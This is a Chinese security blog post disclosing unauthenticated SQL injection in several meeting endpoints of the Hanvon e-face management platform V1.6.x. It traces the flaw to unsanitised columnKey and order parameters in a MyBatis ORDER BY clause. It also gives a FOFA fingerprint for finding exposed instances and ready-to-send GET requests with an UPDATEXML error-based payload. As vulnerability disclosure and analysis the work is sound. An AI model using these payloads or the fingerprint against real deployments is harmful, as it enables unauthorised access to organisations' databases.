1. 首页
  2. 技术文章
  3. 正文

汉王e脸通综合管理平台 Meeting 多个SQL注入漏洞

    Mrxn
  • 发表于2025/7/14 08:26
  • 1529浏览
  • 0评论
  • 1小时阅读
  • 标准

漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件，集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块，广泛应用于政府、企业、监狱、学校、智慧社区等多个领域，实现无接触式快速通行，提升管理效率和安全性。其管理平台的 queryMeetingFile.do、queryMeetingRoom.do、queryMeetingEmployee.do、queryMeetingRecord.do、queryMeetingAudit.do、queryMeeting.do 等多个接口存在 SQL 注入漏洞。攻击者可在无需认证的情况下，通过构造恶意请求参数注入恶意 SQL 语句，导致数据库信息泄露、数据篡改甚至系统权限提升，影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

queryMeeting.do

直接看 MeetingController 里关于 queryMeeting 的实现

@ResponseBody
    @RequestMapping(
        value = {"/queryMeeting.do"},
        method = {RequestMethod.GET}
    )
    public RequestJson queryMeeting(@RequestParam(required = false,value = "page") Integer page, @RequestParam(required = false,value = "pageSize") Integer pageSize, @RequestParam(required = false,value = "keys") String keys, @RequestParam(required = false,value = "mtBranch") String mtBranch, @RequestParam(required = false,value = "meetingName") String meetingName, @RequestParam(required = false,value = "start") String start, @RequestParam(required = false,value = "end") String end, @RequestParam(required = false,value = "meetingRoom") Long meetingRoom, @RequestParam(required = false,value = "state") Integer state, @RequestParam(required = false,value = "columnKey") String columnKey, @RequestParam(required = false,value = "order") String order) {
        RequestJson result = new RequestJson();

        try {
            if (page == null) {
                page = Constants.DEFAULT_START_PAGE_INDEX;
            }

            if (pageSize == null) {
                pageSize = Constants.PAGE_SIZE;
            }

            MeetingParam meetingParam = new MeetingParam();
            meetingParam.setKeys(keys);
            meetingParam.setMtBranch(mtBranch);
            meetingParam.setMtName(meetingName);
            meetingParam.setMtStartTime(start);
            meetingParam.setMtEndTime(end);
            meetingParam.setMrId(meetingRoom);
            meetingParam.setColumnKey(columnKey);
            meetingParam.setOrder(order);
            if (state == 2) {
                meetingParam.setMtDate(DateUtils.formatDate(DateUtils.getDate()));
            }

            PageHelper.startPage(page, pageSize);
            List<MeetingTpm> list = this.meetingAsm.queryMeeting(meetingParam);

和 汉王e脸通综合管理平台 queryDoorInfoList.do SQL注入漏洞 处理逻辑差不多，直接看对应的 mapper xml文件 MeetingDsm.xml

<!--查询会议信息列表-->
    <select id="queryMeeting" parameterType="com.hanvon.iface.tpm.meeting.param.MeetingParam" resultMap="ResultMapVO">
        SELECT MT.ID,MT.MT_NAME,MT.MT_DATE,MT.MT_START_TIME,MT.MT_END_TIME,MT.MT_SIGNIN_STARTTIME,
        MT.MT_SIGNIN_ENDTIME,MT.MR_ID,MT.MT_CONTENT,MT.MT_DELETE,MT.MT_STATE,MT.MT_CREATE_TIME,
        MT_IS_SIGNIN,MT_IS_SIGNOUT,
        MT.MT_DEVICE_ID,MT.MT_SIGNOUT_STARTTIME,MT.MT_SIGNOUT_ENDTIME,SU.SZ_NAME as applicant,sb.sz_name as branchName,
        MMT.MR_NAME AS MRNAME,(SELECT COUNT(1) FROM mt_meeting_file MMF WHERE MMF.MT_ID = MT.ID) AS SUM
        FROM mt_meeting MT
        LEFT JOIN mt_meeting_room MMT ON MT.MR_ID = MMT.ID
        LEFT JOIN sys_user SU ON MT.MT_CREATE_ID = SU.NG_ID
        LEFT JOIN sys_branch sb on sb.ng_id = (SELECT sub.ng_branch_id from sys_user_branch sub where sub.ng_user_id
        =MT.MT_CREATE_ID )
        WHERE MT.MT_DELETE = 1 and MT.MT_STATE = 1
        <if test="keys != null">
            AND (
            SU.SZ_NAME like CONCAT('%',#{keys},'%')
            OR MT_CREATE_ID like CONCAT('%',#{keys},'%')
            )
        </if>
        <if test="mtName != null and mtName != ''">
            AND MT.MT_NAME like CONCAT('%',#{mtName},'%')
        </if>
        <if test="mtBranch != null and mtBranch != ''">
            AND sb.sz_name like CONCAT('%',#{mtBranch},'%')
        </if>
        <if test="mtStartTime != null">
            AND DATE(MT.MT_DATE) &gt;= DATE(#{mtStartTime,jdbcType=VARCHAR})
        </if>
        <if test="mtEndTime != null">
            AND DATE(#{mtEndTime,jdbcType=VARCHAR}) &gt;= DATE(MT.MT_DATE)
        </if>
        <if test="mrId != null">
            and MT.MR_ID = #{mrId}
        </if>
        <if test="mtDate != null">
            and MT.MT_DATE = #{mtDate,jdbcType=VARCHAR}
        </if>
        ORDER BY
        <if test="order == null or order == ''">
            MT.MT_CREATE_TIME desc
        </if>
        <if test="order != null and order != ''">
            ${columnKey} ${order}
        </if>
    </select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中，导致攻击者可构造恶意输入执行任意 SQL 命令，造成SQL注入漏洞。

queryMeetingAudit.do

queryMeetingRecord.do

MeetingPersonalController 下的 queryMeetingRecord.do 也是如此

queryMeetingEmployee.do

需要注意 meetingId 必须存在

meetingFileManage.do

queryMeetingFile.do

需要注意 mtId 必须存在

meetingFileManage.do

queryMeetingRoom.do

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中，导致攻击者可构造恶意输入执行任意 SQL 命令，造成SQL注入漏洞。

漏洞复现

queryMeeting.do

GET /manage/meeting/queryMeeting.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&state=2 HTTP/1.1
Host: hanvon.mrxn.net

成功利用报错注入获取到数据版本号

queryMeetingAudit.do

GET /manage/meeting/queryMeetingAudit.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&order=DESC&state=2 HTTP/1.1
Host: hanvon.mrxn.net

利用报错注入获取数据版本号

queryMeetingRecord.do

GET /manage/meeting/queryMeetingRecord.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&state=2 HTTP/1.1
Host: hanvon.mrxn.net

GET /manage/meetingPersonal/queryMeetingRecord.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&state=2 HTTP/1.1
Host: hanvon.mrxn.net

queryMeetingEmployee.do

GET /manage/meetingPersonal/queryMeetingEmployee.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&meetingId=2 HTTP/1.1
Host: hanvon.mrxn.net

meetingFileManage.do

GET /manage/meeting/meetingFileManage.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&meetingId=2 HTTP/1.1
Host: hanvon.mrxn.net

queryMeetingFile.do

GET /manage/meeting/queryMeetingFile.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&mtId=2 HTTP/1.1
Host: hanvon.mrxn.net

meetingFileManage.do

GET /manage/meetingPersonal/meetingFileManage.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&mtId=2 HTTP/1.1
Host: hanvon.mrxn.net

queryMeetingRoom.do

GET /manage/meetingRoom/queryMeetingRoom.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&mtId=2 HTTP/1.1
Host: hanvon.mrxn.net
版权所有：Mrxn&#039;s Blog
文章标题：汉王e脸通综合管理平台 Meeting 多个SQL注入漏洞
文章链接：https://mrxn.net/jswz/hanvon-efacego-Meeting-sqli.html
本站文章均为原创，未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害，均由使用者自行承担，文章作者不为此承担任何责任。
设备上扫码阅读
手机扫码阅读

相关文章

汉王e脸通综合管理平台 queryAntisubmarineList.do SQL注入漏洞

金和OA IsHaveFTask.aspx XXE漏洞+SQL注入漏洞
评 论